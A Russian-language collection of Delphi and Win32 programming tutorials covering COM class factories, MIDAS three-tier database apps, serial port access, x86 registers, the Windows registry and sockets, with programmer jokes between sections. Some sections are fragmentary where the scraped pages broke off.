Calc := CalcFactory.Create
else
Calc := MyCalc.Create;
if not Calc.GetInterface(IID, Obj) then
begin
Result := E_NOINTERFACE;
Calc.Free;
exit;
end;
Result := S_OK;
end;
То есть создается один экземпляр маленького класса CalcFactory, который ничего больше не умеет, кроме как создавать калькуляторы (экземпляры класса MyCalc). Естесственно, он поддерживает интерфейс IClassFactory. Такая реализация не редка и попытка получить у такого класса-фабрики интерфейс настоящего класса может закончится ошибкой.
Мы же давайте пойдем другим путем, и просто дополним наш класс интерфейсом IClassFactory. Для этого мы можем сами создать интерфейс IClassFactory, как мы раньше создавали ICalc и ICalc2, а можем воспользоваться готовым описанием, включив в uses библиотеку ActiveX. Так оно выглядит там:
IClassFactory = interface(IUnknown)
['{00000001-0000-0000-C000-000000000046}']
function CreateInstance(const unkOuter: IUnknown; const iid: TIID;
out obj): HResult; stdcall;
function LockServer(fLock: BOOL): HResult; stdcall;
end;
Как видите, помимо CreateInstance здесь так же есть метод LockServer. Этот метод предназначен для того, чтобы гарантировать не уничтожение объекта. То есть поставили замок, и пока его не сняли, обект должен жить. Добавим и этот метод а наш класс.
MyCalc = class(TObject, ICalc, ICalc2, IClassFactory)
fx, fy: integer;
FRefCount: integer;
public
constructor Create;
procedure SetOperands(x, y: integer);
function Sum: integer;
function Diff: integer;
function Divide: integer;
function Mult: integer;
procedure Release;
function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Longint; stdcall;
function _Release: Longint; stdcall;
//IClassFactory
function CreateInstance(const unkOuter: IUnknown; const iid: TIID; out obj):
HResult; stdcall;
function LockServer(fLock: BOOL): HResult; stdcall;
end;
Реализация:
function MyCalc.CreateInstance(const unkOuter: IUnknown; const iid: TIID; out
obj): HResult; stdcall;
var
Calc: MyCalc;
begin
Calc := MyCalc.Create;
if not Calc.GetInterface(IID, Obj) then
begin
Result := E_NOINTERFACE;
Calc.Free;
exit;
end;
Result := S_OK;
end;
function MyCalc.LockServer(fLock: BOOL): HResult; stdcall;
begin
if fLock then
_AddRef
else
Release;
end;
Реализация CreateInstance полностью идентична последним восми строчкам функции DllGetClassObject - просто создаем объект и возвращаем интерфейс, если мы его поддерживаем. С LockServer тоже все просто: если fLock=true тогда увеличиваем счетчик вызовом _AddRef, иначе уменьшаем его вызывая Release.
Ну теперь еще раз. Компилируем dll, тестер менять не надо, и запускаем... Свершилось! Наш калькулятор был создан системной функцией CoCreateInstance!
О DelphiX.
| Доктор вы лечите боязнь открытых пространств? - Конечно. - А закрытых? - Естественно... - Видите у моего сына и то, и другое... - Ааааа Квакеров мы не лечим... |
На следующем уроке вы узнаете, как выводить текст, изображени и как проигрывать звуки, используя возможности DirectX.
Скачать ДельфИкс вы сможете на сайте http://instrumentari.narod.ru
Беседа о функциях.
| Пробное обновление Windows ... |
При написании программ, часто возникает такая ситуация, когда необходимо одну и ту же последовательность команд использовать в разных частях программы. Было бы неразумным дублировать ее в каждом таком месте. Вместо этого последовательность оформляют отдельным блоком и помещают в самый конец программы, а в те места, где она используется, ставят "ссылки" на этот блок. Такой блок называют функцией, а "ссылки" на него - вызовами функции. Все, кажется, понятно, кроме одного: в разных частях программы функция должна работать с разными данными, следовательно, в функцию их надо как-то передать. Такие данные называются аргументами этой функции. Рассмотрим описание вызова функции на примере MessageBoxA():
MessageBoxA (hWnd, lpText, lpCaption, uType); |
Здесь hWnd, lpText, lpCaption, uType - аргументы функции.
Аргументы в функцию передаются через стек. В программе это выглядит следующим образом:
| некоторый код ... push 20h |
Мы с Вами в основном будем иметь дело с функциями Win32 API. Win32 API (Application Programming Interface) - набор функций (и не только, но сейчас нас интересуют именно функции), которые Windows предоставляет разработчику для использования в своих программах при создании интерфейса (в данном случае это слово означает взаимодействие) с ОС (Операционная Система). Все Win32 API функции располагаются в .dll файлах (специальные библиотеки функций, динамически подключаемые к программе при ее выполнении, разговор о них еще впереди).
Для API-функций приняты следующие соглашения:
Аргументы в функцию передаются в обратной последовательности (сначала последний аргумент, затем - предпоследний и т.д.) Коррекция стека производится самой функциейПоясним пункт 2. Как Вы, наверное, знаете, при помещении чего-либо в стек, после нужно это обязательно из стека забрать, иначе дальнейшее выполнение программы будет неверным и вскоре она выдаст сообщение об ошибке. Процесс удаления со стека аргументов, переданных в функцию, называется коррекцией стека. Эта операция может производиться либо внутри самой функции (в самом ее конце), либо сразу после вызова функции в том месте программы, откуда этот вызов осуществлялся. Во всех API-функциях коррекция стека производится внутри самих этих функций.
Кроме передачи данных в функцию, она сама тоже должна что-то возвращать в программу. Возвращаемое функцией значение (обычно одно, но бывает и больше, о таких случаях мы поговорим, когда они встретятся нам в какой-нибудь программе) передаются в регистре eax.
Вот, в общем-то, и все, что Вы пока должны знать о функциях. Дополнительная информация будет даваться в следующих статьях, по мере необходимости.
MIDAS - multi-tired distributed application service suite.
MIDAS - multi-tired distributed application service suite- это технология Borland для создания многоуровневых приложений баз данных. Применение данной архитектуры позволяет быстро разрабатывать простые в сопровождении и установке, надежные, распределенные БД. Трехуровневое приложение баз данных содержит несколько компонентов (слоев): а) Слой БД. Хранит данные. Выполняет функции хранения информации, обеспечения целостности и непротиворечивости данных. Пример -локальные (dBase, Paradox) и серверные БД (Oracle, Sybase, MS SQL), текстовые файлы и т.д. б) Слой бизнес логики (сервер приложений) - это программа, обеспечивающая доступ клиентов к информации. На этом слое вводится понятие сервиса, как некоей услуги, поставляемой клиенту (например, получение данных об остатке денег на счете, как частный случай из реляционной БД). В этом слое реализуются правила и алгоритмы обработки информации, отражающие поведение реального моделируемого объекта (бизнес правила). Например, проверка остатка денег на не отрицательность, перевод денег со счета на счет. в) Презентационный слой (тонкий клиент). Задача этого слоя, используя сервисы слоя бизнес логики, предоставлять пользователям запрошенную информацию в форме удобной и приятной во всех отношениях. Может быть выполнен в виде традиционного exe файла или в качестве тонкого клиента можно использовать Web броузер. Применение данной схемы позволяет создать клиентское приложение, которое практически не требует настройки и сопровождения, вся логика работы с БД сосредоточена в среднем слое (сервере приложений). Соответственно при доработке алгоритмов доступа к БД необходимо лишь переустановить сервер приложений. MIDAS предназначен для обеспечения связи между слоем бизнес логики и презентационным слоем. Он позволяет организовать взаимодействие тонкого клиента с сервером приложений. При этом сервер приложений взаимодействует с реляционной БД (чаще всего данные хранятся именно в этой форме) как и обычные приложения работы с БД, разработанные в Delphi. Тонкий клиент для конечного пользователя ничем не отличается от обычного (толстого) клиента БД. Разница в том, что толстый клиент через BDE, ADO, компоненты прямого доступа к серверам БД и другие библиотеки работает с БД, а тонкий клиент взаимодействует с сервером приложений, используя MIDAS. Сервер приложений скрывает от клиента детали доступа и обработки БД. На компьютере с тонким клиентом не нужно устанавливать и настраивать BDE, ADO, клиентскую часть сервера БД. Необходимо лишь иметь небольшие по объему dll, которые легко переносить вместе с exe файлом тонкого клиента. В качестве тонкого клиента может использоваться и Web браузер. Разработка пользовательского интерфейса тоже мало чем отличается от обычного клиента. Особенности - необходимость размещения и настройки одного из компонентов доступа к серверу приложений (DCOMConnection, SocketConnection, WebConnection, CorbaConnection) и вместо Table, Query, StoredProc использовать компонент ТС1iеntDаtаSеt. Сервер приложений, как правило, имеет весьма несложный пользовательский интерфейс (чаще одну главную форму). Да он ему и не нужен. Сердце сервера приложений - это удаленный модуль данных (Remote Data Module). В зависимости от протокола связи TRemoteDataModule, MTSDataModule, TCORBADataModule. Внутри удаленного модуля данных расположены невизуальные компоненты доступа к данным. Каждому компоненту, который должен быть доступен тонкому клиенту необходимо сопоставить компонент - TDataSetProvider. Кроме того, для автоматического запуска серверов приложений по запросу клиента и реализации стратегии безопасности доступа бывает необходимо иметь дополнительную программу SCM (service control manager). Обобщенно схема трехуровневого приложения может быть предствалена следующим образом:
Создание трехуровневого приложения
Итак, создадим наше первое приложение для просмотра таблицы animals.dbf БД DBDEMOS. Как указывалось выше нам необходимо разработать сервер приложений и тонкого клиента (слой БД - это dbf файл).
Создание сервера приложений
Создадим новое приложение, используя пункт меню File / New Application. Созданная при этом форма Form1 будет главной формой сервера приложений. Далее создадим удаленный модуль данных, в него будут помещаться невизуальные компоненты доступа к данным и в нем сосредотачивается вся функциональность сервера приложений. Отличие его от обычного модуля данных в том, что удаленный модуль данных обеспечивает возможность тонким клиентам получать данные с сервера приложений. Выберем пункт меню File / New и в появившемся диалоге перейдем к закладке Miltitier (рис.1.).
Варианты создания удаленного модуля данных
Рис.1.
Мастер создания удаленного модуля данных
Рис.2.
Выберем значок Remote Data Module и нажмем кнопку ОК (Замечание в случае использования CORBA необходимо выбирать CORBA Data Module). После этого на экране появляется диалог RemoteDataModuleWizard. Заполним поле CoClass Name базовым именем нашего удаленного модуля MyRDM. Обратите внимание, что к указанному имени будет добавлена буква T в наименовании класса и I в наименовании интерфейса для управления удаленным модулем. Остальные поля оставьте как есть (мы пишем простейшего сервера). Нажмем кнопку OK. В проект будет добавлен модуль Unit2, содержащий удаленный модуль данных. С закладки DataAccess добавим компонент TTable и свяжем его с таблицей animals.dbf алиаса DBDEMOS и активируем (свойства DatabaseName установим в DBDEMOS, TableName в animals.d, Active в true. Напомню, что порядок установки свойств важен). Теперь для того, чтобы сделать данную таблицу доступной тонкому клиенту необходим еще один компонент TDataSetProvider. Он расположен на закладке Midas. Чтобы связать DataSetProvider с TTable (как впрочем и с другими компонентами доступа к данным) установим свойство DataSet первого равным Table1. Результат наших усилий можно увидеть на рис.3. Осталось запустить сервер приложений на выполнение. Во-первых, чтобы увидеть наши труды, а во-вторых, чтобы при первом запуске сервер приложений произвел необходимые действия по своей регистрации в реестре.
Удаленный модуль данных
Рис.3.
В принципе сервер приложений готов и работоспособен (без написания кода !!!), однако внесем последний штрих - счетчик подключений клиентов. Для этого на главную форму поместим два компонента TLabel. Свойство Caption одного установим в "Количество подключений", а второго в "0". Вид главной формы представлен на рис.4.
В обработчики события OnCreate удаленного модуля инкрементируем значение счетчика
Вид главной формы
Рис.4.
Подключений:
with Form1.Label2 do Caption := IntToStr(StrToInt(Caption) + 1); |
А в OnDestroy того же компонента декрементируем.
with Form1.Label2 do Caption := IntToStr(StrToInt(Caption) - 1); |
Настроим SocketConnection1. Значение свойства ServerName выберем из выпадающего списка и установим равным Project1.MyRDM, таким образом мы указываем к какому серверу приложений присоединяться. Затем необходимо указать на какой машине находится данный сервер. Для этого надо установить либо свойство Address в значение IP адреса или выбрать из списка значений свойства Host имя Вашего PC. Наконец, установим свойство Connected в true. О-о-пс, если все было выполнено верно, запустится сервер приложений и его счетчик клиентов будет установлен в 1. Для доступа к данным в тонком клиенте вместо TTable, TQuery используется TClientDataset. Разместим на главной форме его и мы, взяв с закладки Midas. Значение свойства RemoteServer установим в SocketConnection1, ProviderName в DataSetProvider1 (вспомним, что разместили его в удаленном модуле данных сервера приложений). Внимание, порядок установки этих свойств важен. Активизируем TClientDataSet, установив свойство Active в true. Далее порядок проектирования не отличается от разработки обычного приложения БД. Т.е. размещаем на форме DataSource, DBGrid, DBNavigator.Набор свойств, которые нужно установить приведен в таблице 1.
| Таблица 1 | |
| DataSource1 | |
| DataSet | ClientDataSet1 |
| DBGrid1, DBNavigator | |
| DataSource | DataSource1 |
Рис.5.
Какую из технологий (протоколов) распределенных вычислений лучше использовать с MIDAS ?
Протокол обеспечивает механизм вызова сервера приложений и соединения с ним клиента.
На данный момент Delphi поддерживает четыре протокола организации распределенных вычислений:
DCOM - технология Microsoft для создания и использования удаленных объектов автоматизации.
Достоинства:
а) Встроена в Windows 98,NT,2000. Может быть установлен в Windows 95, как дополнительная опция. Это не требует запуска дополнительных приложений на стороне сервера для управления подключением клиентов.
б) Реализован автоматический запуск сервера приложений при вызове его клиентом и автоматическое закрытие при отсутствии клиентов.
Недостатки:
а) Существуют проблемы с работой DCOM в сетях без контроллера домена NT. Поэтому использовать эту технологию в полной мере можно лишь при наличии в сети сервера с ОС Windows NT, 2000.
б) В DCOM нет встроенных средств обеспечения прозрачности положения сервера приложений (location transparency), т.е другими словами всегда нужно указывать на каком компьютере расположен сервер приложений. Данное ограничение можно сгладить применением SimpleObjectBroker.
в) Использовать DCOM можно лишь на платформе Windows.
Sockets - самый простой из протоколов организации распределенных вычислений. В его основе лежит использование сокетов TCP/IP.
Достоинства:
а) Требует минимум установленных компонентов ОС.
б) Может функционировать в любой сети Windows (c выходом Kylix надеюсь и в Linux), использующей TCP/IP.
Недостатки:
а) Требует постоянно запущенного на сервере менеджера подключений клиентов (ScktSrvr.exe).
б) Отсутствие механизмов обеспечения безопасности, другими словами все серверы приложений данной машины могут быть использованы с любого клиента, имеющего доступ по TCP/IP.
WebConnection - использует HTTP.
Достоинства:
а) Позволяет организовать вызов объекта с машины находящейся за пределами сегмента сети, защищенного файрволом.
Недостатки:
а) Требует установки на стороне клиента Wininet.dll (поставляется с IE 3 и выше).
б) Web сервер IIS 4 (и выше ) или Netscape enterprise 3.6 (и выше).
CORBA - использует соответствующую спецификацию OMG. Проще говоря CORBA - независимый от ОС стандарт взаимодействия объектов в распределенной системе.
Достоинства:
а) Независимость от ОС.
б) Наличие встроенного механизма обеспечения прозрачности положения сервера приложений. Т.е не нужно волноваться за то, где запущен сервер приложений, он будет автоматически найден.
в) Возможность выбора между автоматическим запуском сервера приложений при подключении клиента или запуска "вручную".
Недостатки:
а) Требуется установка дополнительного программного обеспечения (брокера объектных запросов - хотя бы на одной машине в сети).
б) Более сложная установка и настройка (по сравнению с DCOM) сервера приложений при автоматическом запуске.
в) Использование в Delphi COM для реализации CORBA
Таким образом можно дать следующие рекомендации по выбору протокола; Если Вы новичок в MIDAS, то для изучения лучше всего используйте DCOM, установив сервер приложений и клиента на одной машине. Если Ваша БД буде использоваться только с ОС Windows в сетях с контроллером домена Windows NT,2000 - используйте DCOM. Если Вы не уверены, в том что в сети будет контроллер домена, то используйте либо CORBA, либо сокеты В случае, если необходимо обеспечить запуск серверов приложений на любой машине в сети и конфигурация сети может меняться (или заранее неизвестны имена машин, где будут функционировать сервера приложений) лучше использовать CORBA. Если Ваши сервера приложений должны быть доступны не только в локальной сети, но и "снаружи" - WebConnection подойдет лучше всего. Когда Вы не хотите забивать себе голову (а надо бы) DCOM-ми, CORBA-ми, stab-ми, skeleton-ми, правами доступа итд SocketConnection поможет Вам быстро слабать многослойную БД.
Информация об OS и о количестве памяти для окна About.
| Из советов инженера технической поддержки Microsoft. Если вы проснулись с большого бодуна и не помните кто вы такой, как вас зовут и где вы работаете, попробуйте сделать следующее: 1. Включите компьютер. 2. Дождитесь загрузки Windows. 3. Дважды кликните по иконке "My computer". 4. В главном меню выберите "Help/About Windows". 5. Прочитайте, что написано под строчкой "This product is licensed to." |
type
TAboutForm = class(TForm)
OS: TLabel;
Mem: TLabel;
...
procedure TAboutForm.GetOSInfo;
var
Platform: string;
BuildNumber: Integer;
begin
case Win32Platform of
VER_PLATFORM_WIN32_WINDOWS:
begin
Platform := 'Windows 95';
BuildNumber := Win32BuildNumber and $0000FFFF;
end;
VER_PLATFORM_WIN32_NT:
begin
Platform := 'Windows NT';
BuildNumber := Win32BuildNumber;
end;
else
begin
Platform := 'Windows';
BuildNumber := 0;
end;
end;
if (Win32Platform = VER_PLATFORM_WIN32_WINDOWS) or (Win32Platform = VER_PLATFORM_WIN32_NT) then
begin
if Win32CSDVersion = '' then
OS.Caption := Format('%s %d.%d (Build %d)', [Platform, Win32MajorVersion, Win32MinorVersion, BuildNumber])
else
OS.Caption := Format('%s %d.%d (Build %d: %s)', [Platform, Win32MajorVersion, Win32MinorVersion, BuildNumber, Win32CSDVersion]);
end
else
OS.Caption := Format('%s %d.%d', [Platform, Win32MajorVersion, Win32MinorVersion])
end;
procedure TAboutForm.InitializeCaptions;
var
MS: TMemoryStatus;
begin
GetOSInfo;
MS.dwLength := SizeOf(TMemoryStatus);
GlobalMemoryStatus(MS);
Mem.Caption := FormatFloat('#,###" KB"', MS.dwTotalPhys div 1024);
end;
|
Что такое порт.
Автор: Дмитрий Кузан 1.Что такое порт Известно что в компьютере очень много собрано различных устройств , возникает вопрос как операционная система общается с ними. Для этого и служит порт, то есть эта «дверь» через которую программа (операционная система) может управлять данным устройством (считывать данные, заносить их).Причем я разделяю порты на две категории (это чисто мое разделение) - порты общеизвестные (COM LPT) и порты внутренние ,служащие для связи с внутренними устройствами ЭВМ. 2.Некоторые правила для работы с портамиСледует иметь в виду что при разработке программ имеющих дело работы с портами следует учитывать следующие факторы :
Стараться использовать функции высокого уровня для доступа к портам (в частности WinAPI) и не прибегать к низкоуровневым операциям чтения/записи портов. Если вы все-таки решили писать низкоуровневое чтение то эти процедуры нужно выносить в отдельную DLL или VXD, по следующим причинам - известно, что операционная система Windows95/98 а особенно NT являются по своей сути многозадачными системами. То есть если ваша программа обращается конкретно к порту не через динамический вызов функции DLL или VXD ( использования механизма DLL) а напрямую то это может сказаться на корректной работе системы или даже завалить ее. И даже если в Windows95/98 такой подход вполне может работать то в Windows NT вследствие его архитектуры не разрешит непосредственное чтение/запись напрямую, а использование механизма DLL или VXD позволяет обойти эту проблему. Если вы работаете с каким-то нестандартным портом ввода-вывода (например портом хранящим состояние кнопок пульта ДУ TVTunera то наверняка в комплекте поставки родного софта найдется DLL или VXD для управления этим устройством и отпадет нужда писать код, так я при работе с пультом ДУ ТVТиnега использую стандартную DLL поставляемую в комплекте, это сразу решило вопросы связанные с управлением портами данного тюнера) Итак, отступление — немного практики…Маленький пример для работы с портами (первый пример был уже опубликован в королевстве Дельфи и представлял собой пример работы с весами ПетрВес).
function PortInit: boolean; //инициализация
var
f: THandle;
ct: TCommTimeouts;
dcb: TDCB;
begin
f := Windows.CreateFile(PChar('COM1'), GENERIC_READ or
GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if (f < 0) or not Windows.SetupComm(f, 2048, 2048) or not
Windows.GetCommState(f, dcb) then
exit;
//init error
dcb.BaudRate := скорость;
dcb.StopBits := стоп - биты;
dcb.Parity := четность;
dcb.ByteSize := 8;
if not Windows.SetCommState(f, dcb)
or not Windows.GetCommTimeouts(f, ct) then
exit;
//error
ct.ReadTotalTimeoutConstant := 50;
ct.ReadIntervalTimeout := 50;
ct.ReadTotalTimeoutMultiplier := 1;
ct.WriteTotalTimeoutMultiplier := 0;
ct.WriteTotalTimeoutConstant := 10;
if not Windows.SetCommTimeouts(f, ct)
or not Windows.SetCommMask(f, EV_RING + EV_RXCHAR + EV_RXFLAG
+ EV_TXEMPTY) then
exit; //error
result := true;
end;
function DoneComm: boolean; //закрыть порт
begin
result := Windows.CloseHandle(f);
end;
function PostComm(var Buf; size: word): integer;
//передача в порт
var
p: pointer;
i: integer;
begin
p := @Buf;
result := 0;
while size > 0 do
begin
if not WriteFile(f, p^, 1, i, nil) then
exit;
inc(result, i);
inc(integer(p));
dec(size);
Application.ProcessMessages;
end;
end;
function ReadComm(var Buf; size: word): integer;
//прием из порта
var
i: integer;
ovr: TOverlapped;
begin
fillChar(buf, size, 0);
fillChar(ovr, sizeOf(ovr), 0);
i := 0;
result := -1;
if not windows.ReadFile(f, buf, size, i, @ovr) then
exit;
result := i;
end;
Данный пример был взят мной из многочисленный FAQ посвященных в DELPHI в сети ФИДО Итак,для работы с портами COM и LPT нам понадобится знание функций Windows API.
Вот подробное описание функций, которые нам нужны (в эквиваленте C) для работы с портами. (извините за возможный местами неточный перевод ,если что поправьте меня если что не так перевел)
CreateFile
HANDLE CreateFile(
LPCTSTR lpFileName,
// указатель на строку PCHAR с именем файла
DWORD dwDesiredAccess,
// режим доступа
DWORD dwShareMode, // share mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
// указатель на атрибуты
DWORD dwCreationDistribution,
// how to create
DWORD dwFlagsAndAttributes,
// атрибуты файла
HANDLE hTemplateFile
// хендл на temp файл
);
Пример кода на Дельфи.
CommPort := 'COM2';
hCommFile := CreateFile(Pchar(CommPort),
GENERIC_WRITE, 0, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
0);
Параметры.
LpFileName Указатель на строку с нулевым символом в конце (PCHAR) , которая определяет название создаваемого объекта (файл, канал, почтовый слот, ресурс связи (в данном случае порты), дисковое устройство, приставка, или каталог) DwDesiredAccess Указывает тип доступа к объекту ,принимает значение GENERIC_READ - для чтения GENERIC_WRITE - для записи (смешивание с GENERIC_READ операцией GENERIC_READ and GENERIC_WRITE предостовляет полный доступ ) dwShareMode Набор разрядных флагов, которые определяют как объект может быть разделен по доступу к нему. Если dwShareMode - 0, объект не может быть разделен. Последовательные операции открытия объекта будут терпеть неудачу, пока маркер(дескриптор) открытого объекта не будет закрыт. Фактически предоставляется монопольный доступ. Чтобы разделять объект(цель), используйте комбинацию одних или большее количество следующих значений: FILE_SHARE_DELETE (Только для Windows NT) FILE_SHARE_READ FILE_SHARE_WRITE LpSecurityAttributes Указатель на структуру SECURITY_ATTRIBUTES, которая определяет может ли возвращенный дескриптор быть унаследован дочерними процессами. Если lpSecurityAttributes НУЛЕВОЙ, маркер не может быть унаследован. Используется только в windows NT. dwCreationDistribution Определяет поведение функции если объект уже существует и как он будет открыт в этом случае Принимает одно из следующих значений : CREATE_NEW Создает новый объект (файл) Выдает ошибку если указанный объект (файл) уже существует. CREATE_ALWAYS Создает новый объект (файл) Функция перезаписывает существующий объект (файл) OPEN_EXISTING Открывает объект (файл) Выдает ошибку если указанный объект (файл) не существует.(Для более детального смотрите SDK) OPEN_ALWAYS Открывает объект (файл), если он существует. Если объект (файл) не существует, функция создает его, как будто dwCreationDistribution были CREATE_NEW. TRUNCATE_EXISTING Открывает объект (файл). После этого объект (файл) будет усечен до нулевого размера.Выдает ошибку если указанный объект (файл) не существует. DwFlagsAndAttributes Атрибуты объекта (файла) , атрибуты могут комбинироваться FILE_ATTRIBUTE_ARCHIVE FILE_ATTRIBUTE_COMPRESSED FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_OFFLINE FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_TEMPORARY HTemplateFile Определяет дескриптор с GENERIC_READ доступом к временному объекту(файлу). Временный объект(файл)поставляет атрибуты файла и расширенные атрибуты для создаваемого объекта (файла) ИСПОЛЬЗУЕТСЯ ТОЛЬКО В WINDOWS NT Windows 95: Это значение должно быть установлено в Nil. Возвращаемые значения Если функция преуспевает, возвращаемое значение - открытый дескриптор к указанному объекту(файлу). Если файл не существует - 0. Если произошли функциональные сбои, возвращаемое значение - INVALID_HANDLE_VALUE. Чтобы получить расширенные данные об ошибках, вызовите GetLastError. Обратите внимание ! Для портов, dwCreationDistribution параметр должен быть OPEN_EXISTING, и hTemplate должен быть Nil. Доступ для чтения-записи должен быть определен явно. SECURITY_ATTRIBUTESСтруктура содержит описание защиты для объекта и определяет,может ли дескриптор быть унаследован дочерними процессами.
typedef struct _SECURITY_ATTRIBUTES
{ DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES;
Параметры
NLength
Определяет размер, в байтах, этой структуры. Набор это значение к размеру структуры SECURITY_ATTRIBUTES В Windows NT функции которые используют структуру SECURITY_ATTRIBUTES, не проверяют значение nLength.
LpSecurityDescriptor
Дескриптор указывающий на описатель защиты для объекта, Если дескриптор ПУСТОЙ объект может быть назначен в наследование дочерними процессами.
BInheritHandle
Определяет, унаследован ли возвращенный дескриптор, когда новый дескриптор, создан. Если это значение принимает ИСТИНУ новый дескриптор наследует от головного.
Замечания
Указатель на структуру SECURITY_ATTRIBUTES используется как параметр в большинстве функций работы с окнами в Win32 API.
Разговор о регистрах.
Вступление
Регистры является составной частью процессора. Они используются для временного хранения информации. Интенсивное использование регистров в программе определяется тем, что скорость доступа к ним намного больше, чем к ячейкам памяти. 32-х битные процессоры имеют 16 регистров. Мы рассмотрим лишь основные и наиболее часто используемые из них: регистры общего назначения, указатель инструкций, регистры сегментов и регистр флагов.
Регистры общего назначения
32-х битные регистры общего назначения eax, ebx, ecx, edx, esi, edi, ebp и esp могут хранить следующие типы данных:
Операнды для логических и арифметических операций Операнды для рассчета адресов Указатели на ячейки памятиХотя для хранения операндов, результатов операций и указателей Вы можете использовать любой из вышеперечисленных регистров, будте осторожны с регистром esp. В нем хранится указатель вершины стека и некорректное изменение этого значения приведет к неправильной работе программы и ее аварийному завершению.
Многие команды используют конкретные регистры для хранения своих операндов. Например, команды обработки текстовых строк используют содержимое регистров ecx, esi и edi в качестве операндов.
Основные случаи использования регистров общего назначения:
eax - используется для хранения операндов и результатов операций ebx - как указатель на данные в сегменте ds ecx - как счетчик для строковых операций и циклов edx - указатель для ввода/вывода esi - указатель на данные в сегменте ds, а также как указатель на источник в командах работы со строками edi - указатель на данные в сегменте es, а также как указатель на приемник в командах работы со строками esp - указатель вершины стека в сегменте ss ebp - указатель на некоторые данные в стекеВ регистрах, оканчивающихся на x, можно обращаться к младщим 16-и битам (ax, bx, cx и dx соответственно), которые в свою очередь можно разделить на старший байт (ah, bh, ch и dh) и младший (al, bl, cl и dl) и работать с ними, как с регистрами длиной 8 бит. Регистры-указатели esp (указатель вершины стека) и ebp (базовый регистр), а также индексные регистры esi (индекс источника) и edi (индекс приемника) допускают только 32-битное обращение.
Регистры сегментов
Регистры сегментов (cs, ds, ss, es, fs и gs) хранят 16-ти битные дескрипторы сегментов. Дескрипторы сегментов - это специальные указатели, определяющие расположение сегмента в памяти. В защищенном режиме работы процессора (Windows 95/98) все сегментные регисты указывают на один и тот же сегмент, поэтому обычно в программе они не используются.
Регистр флагов
И, наконец, регистр флагов. О нем мы поговорим более подробно. Этот регистр представляет собой набор флагов, устанавливаемых или сбрасываемых по результатам выполняемых команд.
Надеюсь, дорогие друзья, вы знаете, что флаг - это переменная длиной 1 бит, используемая в командах условного перехода. Если значение этой переменной равно 1, то считается, что флаг установлен, если 0 - сброшен. В первую очередь нас интересуют: флаг нуля, флаг переноса и флаг знака.
Флаг нуля (zf) устанавливается в случае получения нулевого результата при выполнении очередной команды и сбрасывается при остальных ненулевых значениях. Флаг переноса (сf) устанавливается при переносе или заеме старшего бита в арифметических операциях, в остальных случаях сбрасывается. Флаг переполнения (оf) устанавливается, если результат арифметической операции не умещается в операнде-приемнике. Флаг знака (sf) устанавливается при единичном значении старщего бита результата - признаке отрицательного числа.О реестре.
"Что такое Реестр?" - такой вопрос задают начинающие программёры, в то время, когда более опытные уже знают, что это ключ ко многим системным установкам маст-дая. (для чайников: маст-дай - от англ. must die, т.е. "должен умереть" - имеется ввиду операционная система Windows).
Реестр - это системная база данных. Получить доступ к ней можно написав в командной строке ("ПУСК > "Выполнить") слово "RegEdit" - при этом запуститься программа для редактирования реестра. Окно этой программы поделено на две части. В левой (более узкой панели) показана древовидная структура ключей. Ключ - это раздел, отвечающий за какие-либо установки. Сами установки называются параметрами, находящимися в правой панели. Каждый параметр имеет своё имя, значение и тип. Параметры бывают строкового типа, двоичного и типа DWORD. Их очень много, но их назначение зависит от того, в каком ключе находится той или иной параметр. Ключи делятся между шестью основными разделами:
HKEY_CLASSES_ROOT - Содержит информацию об OLE, операциях перетаскивания (drag-and-drop - с англ. перетащить-и-отпустить) и ярлыках. В данном разделе можно так же указать программы, запускаемые при активизации файлов определённого типа. Данный раздел является псевдонимом для ветви HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CURRENT_USER - Содержит индивидуальные установки для каждого пользователя, зарегистрированного в системе. Данный раздел является псевдонимом для ветви HKEY_USERS
HKEY_LOCAL_MACHINE - Содержит аппаратные и программные установки, необходимые для функционирования оборудования и программ. Данный раздел так же хранит конфигурацию Windows.
HKEY_USERS - Содержит установки пользователей и соответствующие конфигурационные данные, такие как цвет окна, расположение элементов на рабочем столе, обои, заставки.
HKEY_CURRENT_CONFIG - Содержит информацию о текущем аппаратном профиле. Если вы не используете аппаратные профили, данный раздел содержит установки Windows по умолчанию.
HKEY_DYN_DATA - В отличие от других разделов, которые хранят статистические данные (неизменяющиеся во время сеанса), данный раздел содержит указатели на динамические данные (постоянно изменяющиеся во время работы компьютера). Windows использует данный раздел для отслеживания профилей оборудования plug-and-play, статистики по производительности и драйверов виртуальных устройств VxD.
Все данные системного реестра заключаются в двух файлах, находящихся в директории Windows - это System.dat и User.dat.
Что такое сокет.
| Мама приходит из аптеки и говорит дочке, которая сидит в чате: - Я марганцовку купила. - Рулез! - отвечает дочка не отрываясь от компа. Мама через 5 минут раздумия: - Нет не рулез, а марганцовку! |
Апример при обращении к моему серверу на HTTP порт сокет будет выглядеть так: 194.106.118.30:80, а ответ будет поступать на mmm.nnn.ppp.qqq:xxx.
Еще раз о звуке.
Оформил: DeeCo
Автор: Сергей Козлов.
От автора.
Как я выяснил, жители Королевства интересуются темой ввода/вывода звука, причем вопросов больше, чем ответов. Меня же некоторое время назад жизнь заставила разобраться с этой темой, не сказать чтобы досконально, но некоторые интересные моменты есть :). Так что спрос рождает предложение и оно есть у меня. Кратко перечислю те вопросы, которые интересуют нас, жителей (из вопросов Круглого стола):
